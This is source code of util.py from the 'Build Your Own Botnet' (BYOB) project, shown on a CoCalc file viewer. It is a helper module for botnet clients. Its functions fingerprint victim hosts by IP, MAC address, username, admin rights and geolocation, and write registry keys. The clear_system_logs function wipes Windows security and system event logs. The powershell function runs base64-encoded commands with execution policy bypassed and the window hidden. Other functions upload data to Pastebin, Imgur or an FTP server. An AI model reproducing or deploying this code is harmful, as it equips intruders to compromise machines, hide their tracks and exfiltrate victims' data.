Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/modules/util.py
1292 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
'Utilities (Build Your Own Botnet)'
4
from __future__ import print_function
5
6
_debug = False
7
8
# main
9
def log(info, level='debug'):
10
"""
11
Log output to the console (if verbose output is enabled)
12
13
"""
14
import logging
15
logging.basicConfig(level=logging.DEBUG if globals()['_debug'] else logging.ERROR, handlers=[logging.StreamHandler()])
16
logger = logging.getLogger(__name__)
17
getattr(logger, level if hasattr(logger, level) else 'debug')(str(info))
18
19
20
def imports(source, target=None):
21
"""
22
Attempt to import each package into the module specified
23
24
`Required`
25
:param list source: package/module to import
26
27
`Optional`
28
:param object target: target object/module to import into
29
30
"""
31
if isinstance(source, str):
32
source = source.split()
33
if isinstance(target, dict):
34
module = target
35
elif hasattr(target, '__dict__'):
36
module = target.__dict__
37
else:
38
module = globals()
39
for src in source:
40
try:
41
exec("import {}".format(src), target)
42
except ImportError:
43
log("missing package '{}' is required".format(source))
44
45
46
def is_compatible(platforms=['win32','linux2','darwin'], module=None):
47
"""
48
Verify that a module is compatible with the host platform
49
50
`Optional`
51
:param list platforms: compatible platforms
52
:param str module: name of the module
53
54
"""
55
import sys
56
if sys.platform in platforms:
57
return True
58
log("module {} is not yet compatible with {} platforms".format(module if module else '', sys.platform), level='warn')
59
return False
60
61
62
def platform():
63
"""
64
Return the system platform of host machine
65
66
"""
67
import sys
68
return sys.platform
69
70
71
def public_ip():
72
"""
73
Return public IP address of host machine
74
75
"""
76
import sys
77
if sys.version_info[0] > 2:
78
from urllib.request import urlopen
79
else:
80
from urllib import urlopen
81
return urlopen('http://api.ipify.org').read().decode()
82
83
84
def local_ip():
85
"""
86
Return local IP address of host machine
87
88
"""
89
import socket
90
return socket.gethostbyname(socket.gethostname())
91
92
93
def mac_address():
94
"""
95
Return MAC address of host machine
96
97
"""
98
import uuid
99
return ':'.join(hex(uuid.getnode()).strip('0x').strip('L')[i:i+2] for i in range(0,11,2)).upper()
100
101
102
def architecture():
103
"""
104
Check if host machine has 32-bit or 64-bit processor architecture
105
106
"""
107
import struct
108
return int(struct.calcsize('P') * 8)
109
110
111
def device():
112
"""
113
Return the name of the host machine
114
115
"""
116
import socket
117
return socket.getfqdn(socket.gethostname())
118
119
120
def username():
121
"""
122
Return username of current logged in user
123
124
"""
125
import os
126
return os.getenv('USER', os.getenv('USERNAME', 'user'))
127
128
129
def administrator():
130
"""
131
Return True if current user is administrator, otherwise False
132
133
"""
134
import os
135
import ctypes
136
return bool(ctypes.WinDLL("shell32").IsUserAnAdmin() if os.name == 'nt' else os.getuid() == 0)
137
138
139
def geolocation():
140
"""
141
Return latitute/longitude of host machine (tuple)
142
"""
143
import sys
144
import json
145
if sys.version_info[0] > 2:
146
from urllib.request import urlopen
147
else:
148
from urllib2 import urlopen
149
response = urlopen('http://ipinfo.io').read()
150
json_data = json.loads(response)
151
latitude, longitude = json_data.get('loc').split(',')
152
return (latitude, longitude)
153
154
155
def ipv4(address):
156
"""
157
Check if valid IPv4 address
158
159
`Required`
160
:param str address: string to check
161
162
Returns True if input is valid IPv4 address, otherwise False
163
164
"""
165
import socket
166
try:
167
if socket.inet_aton(str(address)):
168
return True
169
except:
170
return False
171
172
173
def status(timestamp):
174
"""
175
Check the status of a job/thread
176
177
`Required`
178
:param float timestamp: Unix timestamp (seconds since the Epoch)
179
180
"""
181
import time
182
c = time.time() - float(timestamp)
183
data=['{} days'.format(int(c / 86400.0)) if int(c / 86400.0) else str(),
184
'{} hours'.format(int((c % 86400.0) / 3600.0)) if int((c % 86400.0) / 3600.0) else str(),
185
'{} minutes'.format(int((c % 3600.0) / 60.0)) if int((c % 3600.0) / 60.0) else str(),
186
'{} seconds'.format(int(c % 60.0)) if int(c % 60.0) else str()]
187
return ', '.join([i for i in data if i])
188
189
190
def unzip(filename):
191
"""
192
Extract all files from a ZIP archive
193
194
`Required`
195
:param str filename: path to ZIP archive
196
197
"""
198
import os
199
import zipfile
200
z = zipfile.ZipFile(filename)
201
path = os.path.dirname(filename)
202
z.extractall(path=path)
203
204
205
def post(url, headers={}, data={}, json={}, as_json=False):
206
"""
207
Make a HTTP post request and return response
208
209
`Required`
210
:param str url: URL of target web page
211
212
`Optional`
213
:param dict headers: HTTP request headers
214
:param dict data: HTTP request POST data
215
:param dict json: POST data in JSON format
216
:param bool as_json: return JSON formatted output
217
218
"""
219
try:
220
import requests
221
req = requests.post(url, headers=headers, data=data, json=json)
222
output = req.content
223
if as_json:
224
try:
225
output = req.json()
226
except: pass
227
return output
228
except:
229
import sys
230
if sys.version_info[0] > 2:
231
from urllib.request import urlopen,urlencode,Request
232
else:
233
from urllib import urlencode
234
from urllib2 import urlopen,Request
235
data = urlencode(data)
236
req = Request(str(url), data=data)
237
for key, value in headers.items():
238
req.headers[key] = value
239
output = urlopen(req).read()
240
if as_json:
241
import json
242
try:
243
output = json.loads(output)
244
except: pass
245
return output
246
247
248
def normalize(source):
249
"""
250
Normalize data/text/stream
251
252
`Required`
253
:param source: string OR readable-file
254
255
"""
256
import os
257
if os.path.isfile(source):
258
return open(source, 'rb').read()
259
elif hasattr(source, 'getvalue'):
260
return source.getvalue()
261
elif hasattr(source, 'read'):
262
if hasattr(source, 'seek'):
263
source.seek(0)
264
return source.read()
265
else:
266
return bytes(source)
267
268
269
def registry_key(key, subkey, value):
270
"""
271
Create a new Windows Registry Key in HKEY_CURRENT_USER
272
273
`Required`
274
:param str key: primary registry key name
275
:param str subkey: registry key sub-key name
276
:param str value: registry key sub-key value
277
278
Returns True if successful, otherwise False
279
280
"""
281
try:
282
import _winreg
283
reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, key, 0, _winreg.KEY_WRITE)
284
_winreg.SetValueEx(reg_key, subkey, 0, _winreg.REG_SZ, value)
285
_winreg.CloseKey(reg_key)
286
return True
287
except Exception as e:
288
log(e)
289
return False
290
291
292
def png(image):
293
"""
294
Transforms raw image data into a valid PNG data
295
296
`Required`
297
:param image: `numpy.darray` object OR `PIL.Image` object
298
299
Returns raw image data in PNG format
300
301
"""
302
import sys
303
import zlib
304
import numpy
305
import struct
306
307
try:
308
from StringIO import StringIO # Python 2
309
except ImportError:
310
from io import StringIO # Python 3
311
312
if isinstance(image, numpy.ndarray):
313
width, height = (image.shape[1], image.shape[0])
314
data = image.tobytes()
315
elif hasattr(image, 'width') and hasattr(image, 'height') and hasattr(image, 'rgb'):
316
width, height = (image.width, image.height)
317
data = image.rgb
318
else:
319
raise TypeError("invalid input type: {}".format(type(image)))
320
321
line = width * 3
322
png_filter = struct.pack('>B', 0)
323
scanlines = b"".join([png_filter + data[y * line:y * line + line] for y in range(height)])
324
magic = struct.pack('>8B', 137, 80, 78, 71, 13, 10, 26, 10)
325
326
ihdr = [b"", b'IHDR', b"", b""]
327
ihdr[2] = struct.pack('>2I5B', width, height, 8, 2, 0, 0, 0)
328
ihdr[3] = struct.pack('>I', zlib.crc32(b"".join(ihdr[1:3])) & 0xffffffff)
329
ihdr[0] = struct.pack('>I', len(ihdr[2]))
330
331
idat = [b"", b'IDAT', zlib.compress(scanlines), b""]
332
idat[3] = struct.pack('>I', zlib.crc32(b"".join(idat[1:3])) & 0xffffffff)
333
idat[0] = struct.pack('>I', len(idat[2]))
334
335
iend = [b"", b'IEND', b"", b""]
336
iend[3] = struct.pack('>I', zlib.crc32(iend[1]) & 0xffffffff)
337
iend[0] = struct.pack('>I', len(iend[2]))
338
339
fileh = StringIO()
340
fileh.write(str(magic))
341
fileh.write(str(b"".join(ihdr)))
342
fileh.write(str(b"".join(idat)))
343
fileh.write(str(b"".join(iend)))
344
fileh.seek(0)
345
output = fileh.getvalue()
346
if sys.version_info[0] > 2:
347
output = output.encode('utf-8') # python3 compatibility
348
return output
349
350
351
def delete(target):
352
"""
353
Tries to delete file via multiple methods, if necessary
354
355
`Required`
356
:param str target: target filename to delete
357
358
"""
359
import os
360
import shutil
361
try:
362
_ = os.popen('attrib -h -r -s {}'.format(target)) if os.name == 'nt' else os.chmod(target, 777)
363
except OSError: pass
364
try:
365
if os.path.isfile(target):
366
os.remove(target)
367
elif os.path.isdir(target):
368
import shutil
369
shutil.rmtree(target, ignore_errors=True)
370
except OSError: pass
371
372
373
def clear_system_logs():
374
"""
375
Clear Windows system logs (Application, security, Setup, System)
376
377
"""
378
try:
379
for log in ["application","security","setup","system"]:
380
output = powershell("& { [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog(\"%s\")}" % log)
381
if output:
382
log(output)
383
except Exception as e:
384
log(e)
385
386
387
def kwargs(data):
388
"""
389
Takes a string as input and returns a dictionary of keyword arguments
390
391
`Required`
392
:param str data: string to parse for keyword arguments
393
394
Returns dictionary of keyword arguments as key-value pairs
395
396
"""
397
try:
398
return {i.partition('=')[0]: i.partition('=')[2] for i in str(data).split() if '=' in i}
399
except Exception as e:
400
log(e)
401
402
403
def powershell(code):
404
"""
405
Execute code in Powershell.exe and return any results
406
407
`Required`
408
:param str code: script block of Powershell code
409
410
Returns any output from Powershell executing the code
411
412
"""
413
import os
414
import base64
415
try:
416
powershell = r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe' if os.path.exists(r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe') else os.popen('where powershell').read().rstrip()
417
return os.popen('{} -exec bypass -window hidden -noni -nop -encoded {}'.format(powershell, base64.b64encode(code))).read()
418
except Exception as e:
419
log("{} error: {}".format(powershell.__name__, str(e)))
420
421
422
def display(output, color=None, style=None, end='\n', event=None, lock=None):
423
"""
424
Display output in the console
425
426
`Required`
427
:param str output: text to display
428
429
`Optional`
430
:param str color: red, green, cyan, magenta, blue, white
431
:param str style: normal, bright, dim
432
:param str end: __future__.print_function keyword arg
433
:param lock: threading.Lock object
434
:param event: threading.Event object
435
436
"""
437
# if isinstance(output, bytes):
438
# output = output.decode('utf-8')
439
# else:
440
# output = str(output)
441
# _color = ''
442
# if color:
443
# _color = getattr(colorama.Fore, color.upper())
444
# _style = ''
445
# if style:
446
# _style = getattr(colorama.Style, style.upper())
447
# exec("""print(_color + _style + output + colorama.Style.RESET_ALL, end="{}")""".format(end))
448
print(output)
449
450
451
def color():
452
"""
453
Returns a random color for use in console display
454
455
"""
456
try:
457
import random
458
return random.choice(['BLACK', 'BLUE', 'CYAN', 'GREEN', 'LIGHTBLACK_EX', 'LIGHTBLUE_EX', 'LIGHTCYAN_EX', 'LIGHTGREEN_EX', 'LIGHTMAGENTA_EX', 'LIGHTRED_EX', 'LIGHTWHITE_EX', 'LIGHTYELLOW_EX', 'MAGENTA', 'RED', 'RESET', 'WHITE', 'YELLOW'])
459
except Exception as e:
460
log("{} error: {}".format(color.__name__, str(e)))
461
462
463
def imgur(source, api_key=None):
464
"""
465
Upload image file/data to Imgur
466
467
"""
468
import base64
469
if api_key:
470
response = post('https://api.imgur.com/3/upload', headers={'Authorization': 'Client-ID {}'.format(api_key)}, data={'image': base64.b64encode(normalize(source)), 'type': 'base64'}, as_json=True)
471
return response['data']['link'].encode()
472
else:
473
log("No Imgur API key found")
474
475
476
def pastebin(source, api_key):
477
"""
478
Upload file/data to Pastebin
479
480
`Required`
481
:param str source: data or readable file-like object
482
:param str api_dev_key: Pastebin api_dev_key
483
484
`Optional`
485
:param str api_user_key: Pastebin api_user_key
486
487
"""
488
import sys
489
if sys.version_info[0] > 2:
490
from urllib.parse import urlsplit,urlunsplit
491
else:
492
from urllib2 import urlparse
493
urlsplit = urlparse.urlsplit
494
urlunsplit = urlparse.urlunsplit
495
if isinstance(api_key, str):
496
try:
497
info = {'api_option': 'paste', 'api_paste_code': normalize(source), 'api_dev_key': api_key}
498
paste = post('https://pastebin.com/api/api_post.php', data=info)
499
parts = urlsplit(paste)
500
result = urlunsplit((parts.scheme, parts.netloc, '/raw' + parts.path, parts.query, parts.fragment)) if paste.startswith('http') else paste
501
if not result.endswith('/'):
502
result += '/'
503
return result
504
except Exception as e:
505
log("Upload to Pastebin failed with error: {}".format(e))
506
else:
507
log("No Pastebin API key found")
508
509
510
def ftp(source, host=None, user=None, password=None, filetype=None):
511
"""
512
Upload file/data to FTP server
513
514
`Required`
515
:param str source: data or readable file-like object
516
:param str host: FTP server hostname
517
:param str user: FTP account username
518
:param str password: FTP account password
519
520
`Optional`
521
:param str filetype: target file type (default: .txt)
522
523
"""
524
import os
525
import time
526
import ftplib
527
528
try:
529
from StringIO import StringIO # Python 2
530
except ImportError:
531
from io import StringIO # Python 3
532
533
if host and user and password:
534
path = ''
535
local = time.ctime().split()
536
if os.path.isfile(str(source)):
537
path = source
538
source = open(path, 'rb')
539
elif hasattr(source, 'seek'):
540
source.seek(0)
541
else:
542
source = StringIO(source)
543
try:
544
ftp = ftplib.FTP(host=host, user=user, password=password)
545
except:
546
return "Upload failed - remote FTP server authorization error"
547
addr = public_ip()
548
if 'tmp' not in ftp.nlst():
549
ftp.mkd('/tmp')
550
if addr not in ftp.nlst('/tmp'):
551
ftp.mkd('/tmp/{}'.format(addr))
552
if path:
553
path = '/tmp/{}/{}'.format(addr, os.path.basename(path))
554
else:
555
filetype = '.' + str(filetype) if not str(filetype).startswith('.') else str(filetype)
556
path = '/tmp/{}/{}'.format(addr, '{}-{}_{}{}'.format(local[1], local[2], local[3], filetype))
557
stor = ftp.storbinary('STOR ' + path, source)
558
return path
559
else:
560
log('missing one or more required arguments: host, user, password')
561
562
563
def config(*arg, **options):
564
"""
565
Configuration decorator for adding attributes (e.g. declare platforms attribute with list of compatible platforms)
566
567
"""
568
import functools
569
def _config(function):
570
@functools.wraps(function)
571
def wrapper(*args, **kwargs):
572
return function(*args, **kwargs)
573
for k,v in options.items():
574
setattr(wrapper, k, v)
575
return wrapper
576
return _config
577
578
579
def threaded(function):
580
"""
581
Decorator for making a function threaded
582
583
`Required`
584
:param function: function/method to run in a thread
585
586
"""
587
import time
588
import threading
589
import functools
590
@functools.wraps(function)
591
def _threaded(*args, **kwargs):
592
t = threading.Thread(target=function, args=args, kwargs=kwargs, name=time.time())
593
t.daemon = True
594
t.start()
595
return t
596
return _threaded
597
598